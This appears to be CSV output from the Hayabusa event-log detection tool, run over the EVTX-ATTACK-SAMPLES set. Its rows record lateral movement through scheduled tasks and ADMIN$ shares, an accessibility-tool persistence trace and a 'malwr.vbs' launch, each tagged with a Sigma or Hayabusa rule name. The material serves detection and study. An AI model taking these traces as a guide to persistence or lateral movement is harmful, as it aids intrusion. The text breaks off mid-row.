Workstation : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4776_NTLM-LogonToLocalAccount.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:04.226 +09:00,WIN-77LTAPHIQ1R.example.corp,4672,informational,Admin Logon,User: Administrator : LogonID: 0x17e2c0,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:04.226 +09:00,WIN-77LTAPHIQ1R.example.corp,4624,informational,Logon Type 3 - Network,User: Administrator : Workstation: : IP Address: 10.0.2.17 : Port: 49237 : LogonID: 0x17e2c0,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:04.257 +09:00,WIN-77LTAPHIQ1R.example.corp,4776,informational,NTLM Logon to Local Account,User: administrator : Workstation : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4776_NTLM-LogonToLocalAccount.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:04.257 +09:00,WIN-77LTAPHIQ1R.example.corp,4672,informational,Admin Logon,User: Administrator : LogonID: 0x17e2d2,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:04.351 +09:00,WIN-77LTAPHIQ1R.example.corp,4699,medium,Scheduled Task Deletion,,rules/sigma/builtin/security/win_scheduled_task_deletion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/temp_scheduled_task_4698_4699.evtx +2019-03-19 09:02:04.351 +09:00,WIN-77LTAPHIQ1R.example.corp,4699,medium,Scheduled Task Deletion,,rules/sigma/builtin/security/win_scheduled_task_deletion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:04.367 +09:00,WIN-77LTAPHIQ1R.example.corp,5140,informational,Network Share Access,User: Administrator : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.0.2.17,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:04.398 +09:00,WIN-77LTAPHIQ1R.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: Temp\CYAlyNSS.tmp : IP Address: 10.0.2.17,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:04.398 +09:00,WIN-77LTAPHIQ1R.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: Temp\CYAlyNSS.tmp : IP Address: 10.0.2.17,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:07.430 +09:00,WIN-77LTAPHIQ1R.example.corp,5140,informational,Network Share Access,User: Administrator : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.0.2.17,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:07.445 +09:00,WIN-77LTAPHIQ1R.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: Temp\CYAlyNSS.tmp : IP Address: 10.0.2.17,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:07.508 +09:00,WIN-77LTAPHIQ1R.example.corp,5140,informational,Network Share Access,User: Administrator : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.0.2.17,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:07.523 +09:00,WIN-77LTAPHIQ1R.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: Temp\CYAlyNSS.tmp : IP Address: 10.0.2.17,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:16.835 +09:00,WIN-77LTAPHIQ1R.example.corp,4776,informational,NTLM Logon to Local Account,User: Administrator : Workstation WIN-77LTAPHIQ1R : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4776_NTLM-LogonToLocalAccount.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:17.117 +09:00,WIN-77LTAPHIQ1R.example.corp,4661,high,AD Privileged Users or Groups Reconnaissance,,rules/sigma/builtin/security/win_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:17.117 +09:00,WIN-77LTAPHIQ1R.example.corp,4661,high,Reconnaissance Activity,,rules/sigma/builtin/security/win_susp_net_recon_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:21.929 +09:00,WIN-77LTAPHIQ1R.example.corp,4624,informational,Logon Type 3 - Network,User: WIN-77LTAPHIQ1R$ : Workstation: : IP Address: fe80::79bf:8ee2:433c:2567 : Port: 56034 : LogonID: 0x18423d,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-20 02:22:24.761 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\system32\osk.exe"" : Path: C:\Windows\System32\osk.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 02:22:24.851 +09:00,PC01.example.corp,1,informational,Process Creation,Command: utilman.exe /debug : Path: C:\Windows\System32\Utilman.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 02:22:24.901 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\System32\osk.exe"" : Path: C:\Windows\System32\osk.exe : User: EXAMPLE\user01 : Parent Command: utilman.exe /debug",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 02:22:40.373 +09:00,PC01.example.corp,1,informational,Process Creation,Command: utilman.exe /debug : Path: C:\Windows\System32\Utilman.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 02:26:03.585 +09:00,PC01.example.corp,1,informational,Process Creation,Command: UI0Detect.exe 224 : Path: C:\Windows\System32\UI0Detect.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\UI0Detect.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 02:26:05.628 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\System32\slui.exe -Embedding : Path: C:\Windows\System32\slui.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 02:31:03.687 +09:00,PC01.example.corp,1,informational,Process Creation,Command: UI0Detect.exe 224 : Path: C:\Windows\System32\UI0Detect.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\UI0Detect.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 02:36:03.788 +09:00,PC01.example.corp,1,informational,Process Creation,Command: UI0Detect.exe 224 : Path: C:\Windows\System32\UI0Detect.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\UI0Detect.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 02:41:03.890 +09:00,PC01.example.corp,1,informational,Process Creation,Command: UI0Detect.exe 224 : Path: C:\Windows\System32\UI0Detect.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\UI0Detect.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 02:41:08.777 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""LogonUI.exe"" /flags:0x0 : Path: C:\Windows\System32\LogonUI.exe : User: NT AUTHORITY\SYSTEM : Parent Command: winlogon.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 02:41:08.967 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\cmd.EXE /c malwr.vbs : Path: C:\Windows\System32\cmd.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 02:41:08.977 +09:00,PC01.example.corp,1,informational,Process Creation,Command: gpscript.exe /Logoff : Path: C:\Windows\System32\gpscript.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\svchost.exe -k GPSvcGroup,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 02:41:09.828 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""LogonUI.exe"" /flags:0x1 : Path: C:\Windows\System32\LogonUI.exe : User: NT AUTHORITY\SYSTEM : Parent Command: wininit.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 02:42:05.859 +09:00,PC01.example.corp,1,informational,Process Creation,Command: taskhost.exe C:\Windows\system32\CompatTelRunner.exe : Path: C:\Windows\System32\taskhost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:11.238 +09:00,PC01.example.corp,1,informational,Process Creation,Command: \SystemRoot\System32\smss.exe 00000000 0000003c : Path: C:\Windows\System32\smss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:11.458 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: %%SystemRoot%%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16 : Path: C:\Windows\System32\csrss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 00000000 0000003c ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:11.699 +09:00,PC01.example.corp,1,informational,Process Creation,Command: \SystemRoot\System32\smss.exe 00000001 0000003c : Path: C:\Windows\System32\smss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:11.719 +09:00,PC01.example.corp,1,informational,Process Creation,Command: wininit.exe : Path: C:\Windows\System32\wininit.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 00000000 0000003c ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:11.759 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: %%SystemRoot%%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16 : Path: C:\Windows\System32\csrss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 00000001 0000003c ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:11.909 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\services.exe : Path: C:\Windows\System32\services.exe : User: NT AUTHORITY\SYSTEM : Parent Command: wininit.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:11.909 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\lsass.exe : Path: C:\Windows\System32\lsass.exe : User: NT AUTHORITY\SYSTEM : Parent Command: wininit.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:11.919 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\lsm.exe : Path: C:\Windows\System32\lsm.exe : User: NT AUTHORITY\SYSTEM : Parent Command: wininit.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:11.929 +09:00,PC01.example.corp,1,informational,Process Creation,Command: winlogon.exe : Path: C:\Windows\System32\winlogon.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 00000001 0000003c ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:12.931 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k DcomLaunch : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:13.151 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\System32\VBoxService.exe : Path: C:\Windows\System32\VBoxService.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:13.181 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""LogonUI.exe"" /flags:0x0 : Path: C:\Windows\System32\LogonUI.exe : User: NT AUTHORITY\SYSTEM : Parent Command: winlogon.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:13.221 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalService : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:14.232 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k GPSvcGroup : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:14.603 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\System32\spoolsv.exe : Path: C:\Windows\System32\spoolsv.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:14.933 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:14.933 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.094 +09:00,PC01.example.corp,1,informational,Process Creation,Command: gpscript.exe /Startup : Path: C:\Windows\System32\gpscript.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k GPSvcGroup,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.144 +09:00,PC01.example.corp,1,informational,Process Creation,Command: cmd.exe : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.144 +09:00,PC01.example.corp,1,informational,Process Creation,Command: cmd.exe : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.144 +09:00,PC01.example.corp,1,high,Abused Debug Privilege by Arbitrary Parent Processes,,rules/sigma/process_creation/sysmon_abusing_debug_privilege.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.144 +09:00,PC01.example.corp,1,high,Abused Debug Privilege by Arbitrary Parent Processes,,rules/sigma/process_creation/sysmon_abusing_debug_privilege.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.154 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.154 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.424 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Program Files\freeSSHd\FreeSSHDService.exe"" : Path: C:\Program Files\freeSSHd\FreeSSHDService.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.424 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.424 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.514 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.514 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.795 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.795 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.835 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.835 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.865 +09:00,PC01.example.corp,1,informational,Process Creation,Command: taskhost.exe $(Arg0) : Path: C:\Windows\System32\taskhost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.885 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.885 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.915 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.915 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.995 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.995 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:16.065 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\Sysmon.exe : Path: C:\Windows\Sysmon.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:16.135 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:16.135 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:16.406 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: 